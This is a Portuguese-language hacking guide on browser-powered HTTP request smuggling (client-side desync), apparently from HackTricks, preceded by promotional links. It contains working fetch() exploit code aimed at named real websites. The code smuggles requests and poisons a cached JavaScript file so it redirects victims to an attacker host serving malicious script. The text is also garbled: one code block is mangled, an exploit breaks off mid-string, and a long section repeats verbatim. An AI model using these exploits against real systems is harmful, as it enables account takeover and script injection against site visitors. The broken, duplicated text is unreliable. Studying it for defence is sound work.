# Browser HTTP Request Smuggling
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
## Desvio de solicitação HTTP do navegador
Tradução para referência
Esta vulnerabilidade ocorre quando o cabeçalho **Content Length** (CL) é completamente **ignorado** pelo **servidor backend**. Em seguida, o back-end trata o **corpo** como o **início do método da segunda solicitação**. Ignorar o CL é equivalente a tratá-lo como tendo um valor de 0, portanto, este é um desvio CL.0 - uma classe de ataque [conhecida](https://i.blackhat.com/USA-20/Wednesday/us-20-Klein-HTTP-Request-Smuggling-In-2020-New-Variants-New-Defenses-And-New-Challenges.pdf), mas menos explorada.
O ataque foi possível porque o servidor back-end simplesmente **não esperava uma solicitação POST**.
Observe que essa vulnerabilidade está sendo **acionada** por uma solicitação HTTP completamente **válida** e compatível com a especificação. Isso significa que o **front-end não tem chance de proteger** contra ela e até mesmo um navegador pode acioná-la.
A única **diferença** entre **CL.0** e **H2.0** é que o segundo está usando **HTTP2** (que tem um cabeçalho de comprimento de conteúdo implícito), mas o **backend também não está usando isso**.
### Desvio do lado do cliente
Os ataques de desvio tradicionais **envenenam** a **conexão** entre um servidor **front-end e back-end**, portanto, são impossíveis em sites que não usam uma arquitetura front-end/back-end. A partir de agora, esses são os desvios do lado do servidor. A maioria dos desvios do lado do servidor só pode ser acionada por um **cliente HTTP personalizado que emite uma solicitação malformada**.
A capacidade de um **navegador causar um desvio** permite uma nova classe inteira de ameaças chamada **desvio do lado do cliente** (CSD).\
Um ataque CSD começa com a **vítima visitando o site do atacante**, que então faz com que o navegador envie **duas solicitações de domínio cruzado para o site vulnerável**. A **primeira** solicitação é criada para **desviar a conexão do navegador** e fazer com que a **segunda solicitação acione** uma resposta prejudicial, geralmente dando ao atacante o controle da conta da vítima.
#### Detectar
Um vetor CSD é uma solicitação HTTP com **duas** propriedades **chave**.
Primeiro, o **servidor deve ignorar o Content-Length (CL)** da solicitação. Isso geralmente acontece porque a solicitação **acionou um erro do servidor** ou o servidor simplesmente **não esperava uma solicitação POST** para o endpoint escolhido. Tente direcionar **arquivos estáticos** e **redirecionamentos de nível de servidor**, e acionar erros por meio de **URLs muito longos** e **semi-malformados** como /%2e%2e.
Em segundo lugar, a solicitação deve ser **acionável em um navegador da web de domínio cruzado**. Os navegadores restringem severamente o controle sobre solicitações de domínio cruzado, portanto, você tem controle limitado sobre cabeçalhos e, se sua solicitação tiver um corpo, precisará usar o método HTTP POST. Em última análise, você só **controla** a **URL**, além de algumas coisas como o cabeçalho **Referer**, o **corpo** e a **última parte do Content-Type**.
**Testando a ignorância do CL**
A maneira de testar essa configuração incorreta é **enviar 2 solicitações e desviar uma** no **meio**. Se a conexão **desviada** afetou a resposta da **segunda solicitação**, significa que ela é **vulnerável**:
Observe que você **não pode** testar essa vulnerabilidade apenas enviando um **Content-Length maior** do que o enviado e **procurando um tempo limite** porque alguns servidores **respondem** mesmo se eles **não receberam todo o corpo**.
É importante observar se o site de destino suporta HTTP/2. Os ataques CSD geralmente exploram a reutilização de conexão HTTP/1.1 e os navegadores da web **preferem usar HTTP/2 sempre que possível**, portanto, se o site de destino suportar HTTP/2, seus ataques provavelmente não funcionarão. Há uma **exceção**; alguns **proxies avançados não suportam HTTP/2**, então você pode explorar qualquer pessoa que os use. Isso inclui proxies corporativos, certas VPNs intrusivas e até algumas ferramentas de segurança.
#### Confirmar
Primeiro, selecione um site para lançar o ataque. Este site deve ser **acessado por HTTPS** e localizado em um **domínio diferente do alvo**.
Em seguida, certifique-se de que **não tem um proxy configurado**, em seguida, navegue até o seu site de ataque. Abra as **ferramentas do desenvolvedor** e mude para a **guia Rede**. Para ajudar na depuração de possíveis problemas posteriormente, recomendo fazer os seguintes ajustes:
* Selecione a caixa de seleção **"Preservar log"**.
* Clique com o botão direito do mouse nos cabeçalhos das colunas e **ative a coluna "ID de conexão"**.
Mude para o console do desenvolvedor e execute JavaScript para replicar sua sequência de ataque usando fetch(). Isso pode parecer algo como:
\`\`\`javascript fetch('https://example.com/', { method: 'POST', body: "GET /hopefully404 HTTP/1.1\r\nX: Y", // malicious prefix mode: 'no-cors', // ensure connection ID is visible credentials: 'include' // poison 'with-cookies' pool }).then(() => { location = 'https://example.com/' // use the poisoned connection }) \`\`\` Eu defini o modo de busca \*\*'no-cors'\*\* para garantir que o Chrome \*\*exiba o ID de conexão\*\* na guia de Rede. Também defini \*\*credentials: 'include'\*\* porque o Chrome tem \[\*\*duas piscinas de conexão separadas\*\*]\(https://www.chromium.org/developers/design-documents/network-stack/preconnect) - uma para solicitações com cookies e outra para solicitações sem. Geralmente, você deseja explorar \*\*navegações\*\*, e essas \*\*usam a piscina 'com-cookies'\*\*, então vale a pena se acostumar a sempre envenenar essa piscina.
Quando você executar isso, deverá ver **duas solicitações** na guia de Rede com o **mesmo ID de conexão**, e a **segunda** deve acionar um **404**:
 (2).png>)
Se isso funcionar conforme o esperado, parabéns - você encontrou uma dessincronização do lado do cliente!
### Exploração - Armazenar
Uma opção é identificar a funcionalidade no site de destino que permite **armazenar dados de texto**, e criar o prefixo para que os cookies, cabeçalhos de autenticação ou senha da vítima acabem sendo **armazenados em algum lugar que você possa recuperá-los**. Este fluxo de ataque funciona [quase identicamente ao desvio de solicitação do lado do servidor](https://portswigger.net/web-security/request-smuggling/exploiting#capturing-other-users-requests), então não vou me deter nisso.
### Exploração - **Encadear e girar**
Em circunstâncias normais, muitas classes de **ataque do lado do servidor** só podem ser lançadas por um invasor com acesso direto ao site de destino, pois **dependem de solicitações HTTP que os navegadores se recusam a enviar**, como **manipulação** de **cabeçalhos HTTP** - envenenamento de cache da web, a maioria dos desvios de solicitação do lado do servidor, ataques de cabeçalho de host, baseados em User-Agent [SQLi](https://portswigger.net/web-security/sql-injection), CSRF JSON Content-type e muitos outros.
O caminho mais simples para um ataque bem-sucedido veio de duas técnicas-chave geralmente usadas para ataques de dessincronização do lado do servidor: [**envenenamento de recursos JavaScript via redirecionamentos de cabeçalho de host**](https://portswigger.net/web-security/request-smuggling/exploiting#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect), e usando o [**método HEAD**](https://portswigger.net/web-security/request-smuggling/advanced/request-tunnelling#non-blind-request-tunnelling-using-head) para emendar uma resposta com HTML prejudicial. Ambas as técnicas precisavam ser **adaptadas** para superar alguns desafios novos associados à operação no **navegador da vítima**.
## Exemplos de exploração
### Exemplo de HEAD empilhado
* **Exploit colorido**
 (3).png>)
* **Exploit JS**
```javascript
fetch('https://www.capitalone.ca/assets', {
method: 'POST',
// use a cache-buster to delay the response
body: `HEAD /404/?cb=${Date.now()} HTTP/1.1\r\nHost: www.capitalone.ca\r\n\r\nGET /x?x= HTTP/1.1\r\nX: Y`,
credentials: 'include',
mode: 'cors' // throw an error instead of following redirect
}).catch(() => {
location = 'https://www.capitalone.ca/'
})va
```
Explicação:
* **Abuso de CL.0** em /assets (ele redireciona para /assets/ e não verifica o CL)
* **Contrabandear** uma solicitação **HEAD** (porque as respostas HEAD ainda contêm um content-length)
* **Contrabandear** uma solicitação **GET** cujo **conteúdo** será **refletido** na resposta com o payload.
* Devido ao **content-length do req HEAD**, a **resposta** desta solicitação será o **corpo do req HEAD**
* Definir o **modo cors**. Normalmente, isso não é feito, mas neste caso, a **resposta** do servidor para o **POST** **inicial** é um **redirecionamento** que, se **seguido**, o **exploit não funcionará**. Portanto, o **modo cors** é usado para **disparar** um **erro** e **redirecionar** a vítima com o **`catch`**.
### **Redirecionamento de cabeçalho de host + envenenamento de cache do lado do cliente**
* **exploit JS**
```javascript
fetch('https://redacted/', {
method: 'POST',
body: "GET /+webvpn+/ HTTP/1.1\r\nHost: x.psres.net\r\nX: Y",
credentials: 'include'}
).catch(() => { location='https://redacted/+CSCOE+/win.js' })
```
* Uma solicitação para `/+webvpn+/` com um **domínio diferente no cabeçalho Host** é respondida com um **redirecionamento** para `/+webvpn+/index.html` para aquele **domínio** dentro do cabeçalho Host.
* A localização na **segunda** solicitação é definida como `/+CSCOE+/win.js` para **envenenar** o **cache** desse arquivo `.js`.
* Esta solicitação será respondida com o redirecionamento de `/+webvpn+/` para o domínio do atacante com o caminho `/+webvpn+/index.html`.
* O **cache** de **`win.js`** será **envenenado** com um **redirecionamento** para a página do **atacante**, mas também a **vítima** seguirá o redirecionamento, pois foi atribuído à variável `location` e acabará na página da web do atacante.
* O atacante então **redirecionará** a **vítima** para `https://redacted/+CSCOE+/logon.html`. Esta página importará `/+CSCOE+/win.js`. Cujo **cache é um redirecionamento** para o servidor do **atacante**, portanto, o atacante pode **responder com um JS malicioso**.
A **vítima** acessará a página do **atacante** **duas vezes**, na primeira ela **espera um HTML** que redirecione a vítima de volta para `https://redacted/+CSCOE+/logon.html` e na segunda ela **espera código javascript** (a carga útil). Um poliglota pode ser usado para servir ambas as respostas em apenas uma:
```
HTTP/1.1 200 OK
Content-Type: text/html
alert('oh dear')/**/
```
### Payload HEAD com TE chunked
Ao procurar por CSD, você também pode **testar URLs semi-malformadas** como `/..%2f` ou `/%2f`.
* **Exploração colorida**
 (2) (1).png>)
* **Exploração JS**
```javascript
fetch('https://www.verisign.com/%2f', {
method: 'POST',
body: `HEAD /assets/languagefiles/AZE.html HTTP/1.1\r\nHost: www.verisign.com\r\nConnection: keep-alive\r\nTransfer-Encoding: chunked\r\n\r\n34d\r\nx`,
credentials: 'include',
headers: {'Content-Type': 'application/x-www-form-urlencoded'
}}).catch(() => {
let form = document.createElement('form')
form.method = 'POST'
form.action = 'https://www.verisign.com/robots.txt'
form.enctype = 'text/plain'
let input = document.createElement('input')
input.name = '0\r\n\r\nGET /
 (1) (2).png)
O ataque foi possível porque o servidor back-end simplesmente **não esperava uma solicitação POST**.
Observe que essa vulnerabilidade está sendo **acionada** por uma solicitação HTTP completamente **válida** e compatível com a especificação. Isso significa que o **front-end não tem chance de proteger** contra ela e até mesmo um navegador pode acioná-la.
A única **diferença** entre **CL.0** e **H2.0** é que o segundo está usando **HTTP2** (que tem um cabeçalho de comprimento de conteúdo implícito), mas o **backend também não está usando isso**.
### Desvio do lado do cliente
Os ataques de desvio tradicionais **envenenam** a **conexão** entre um servidor **front-end e back-end**, portanto, são impossíveis em sites que não usam uma arquitetura front-end/back-end. A partir de agora, esses são os desvios do lado do servidor. A maioria dos desvios do lado do servidor só pode ser acionada por um **cliente HTTP personalizado que emite uma solicitação malformada**.
A capacidade de um **navegador causar um desvio** permite uma nova classe inteira de ameaças chamada **desvio do lado do cliente** (CSD).\
Um ataque CSD começa com a **vítima visitando o site do atacante**, que então faz com que o navegador envie **duas solicitações de domínio cruzado para o site vulnerável**. A **primeira** solicitação é criada para **desviar a conexão do navegador** e fazer com que a **segunda solicitação acione** uma resposta prejudicial, geralmente dando ao atacante o controle da conta da vítima.
#### Detectar
Um vetor CSD é uma solicitação HTTP com **duas** propriedades **chave**.
Primeiro, o **servidor deve ignorar o Content-Length (CL)** da solicitação. Isso geralmente acontece porque a solicitação **acionou um erro do servidor** ou o servidor simplesmente **não esperava uma solicitação POST** para o endpoint escolhido. Tente direcionar **arquivos estáticos** e **redirecionamentos de nível de servidor**, e acionar erros por meio de **URLs muito longos** e **semi-malformados** como /%2e%2e.
Em segundo lugar, a solicitação deve ser **acionável em um navegador da web de domínio cruzado**. Os navegadores restringem severamente o controle sobre solicitações de domínio cruzado, portanto, você tem controle limitado sobre cabeçalhos e, se sua solicitação tiver um corpo, precisará usar o método HTTP POST. Em última análise, você só **controla** a **URL**, além de algumas coisas como o cabeçalho **Referer**, o **corpo** e a **última parte do Content-Type**.
**Testando a ignorância do CL**
A maneira de testar essa configuração incorreta é **enviar 2 solicitações e desviar uma** no **meio**. Se a conexão **desviada** afetou a resposta da **segunda solicitação**, significa que ela é **vulnerável**:
 (2) (2) (1).png)
Observe que você **não pode** testar essa vulnerabilidade apenas enviando um **Content-Length maior** do que o enviado e **procurando um tempo limite** porque alguns servidores **respondem** mesmo se eles **não receberam todo o corpo**.
É importante observar se o site de destino suporta HTTP/2. Os ataques CSD geralmente exploram a reutilização de conexão HTTP/1.1 e os navegadores da web **preferem usar HTTP/2 sempre que possível**, portanto, se o site de destino suportar HTTP/2, seus ataques provavelmente não funcionarão. Há uma **exceção**; alguns **proxies avançados não suportam HTTP/2**, então você pode explorar qualquer pessoa que os use. Isso inclui proxies corporativos, certas VPNs intrusivas e até algumas ferramentas de segurança.
#### Confirmar
Primeiro, selecione um site para lançar o ataque. Este site deve ser **acessado por HTTPS** e localizado em um **domínio diferente do alvo**.
Em seguida, certifique-se de que **não tem um proxy configurado**, em seguida, navegue até o seu site de ataque. Abra as **ferramentas do desenvolvedor** e mude para a **guia Rede**. Para ajudar na depuração de possíveis problemas posteriormente, recomendo fazer os seguintes ajustes:
* Selecione a caixa de seleção **"Preservar log"**.
* Clique com o botão direito do mouse nos cabeçalhos das colunas e **ative a coluna "ID de conexão"**.
Mude para o console do desenvolvedor e execute JavaScript para replicar sua sequência de ataque usando fetch(). Isso pode parecer algo como: